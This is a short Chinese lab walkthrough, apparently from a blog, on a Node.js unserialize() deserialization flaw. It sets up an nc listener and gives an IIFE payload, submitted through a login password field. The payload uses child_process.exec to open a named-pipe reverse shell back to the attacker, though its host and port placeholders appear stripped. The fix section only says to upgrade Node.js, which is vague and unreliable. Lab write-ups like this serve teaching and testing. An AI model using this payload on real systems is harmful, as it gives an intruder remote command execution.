Node.js 反序列化漏洞

0x00 漏洞介绍

node.js 存在反序列化远程代码任意执行漏洞,若不可信数据传入 unserialize() 函数中,通过 Javascript中的函数表达式(IIFE)在对象被创建时调用 serialize() 函数, 可以实现任意代码执行。

0x01 漏洞复现

  • 首先,访问实验环境中搭建好的网站,可以看到一个node.js的登录页面
Node.js 反序列化漏洞_第1张图片
1.PNG
  • 接着使用nc监听本地端口,用于接受漏洞环境的反弹shell,
    在linux终端中执行如下命令:
nc -lv -p 8080

表示监听本地8080端口。

2.PNG
  • exp代码如下所示:
_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc   0backpipe')}()

修改其中的为 本机ip,为8080端口,用户名任意填写,复制exp到密码框,点击登录即可。

  • 在终端执行linux命令,发现执行成功,说明漏洞利用成功!
Node.js 反序列化漏洞_第2张图片
3.PNG

0x02 漏洞修复

要修复此漏洞,只要将node.js升级到最新版本即可。

你可能感兴趣的:(Node.js 反序列化漏洞)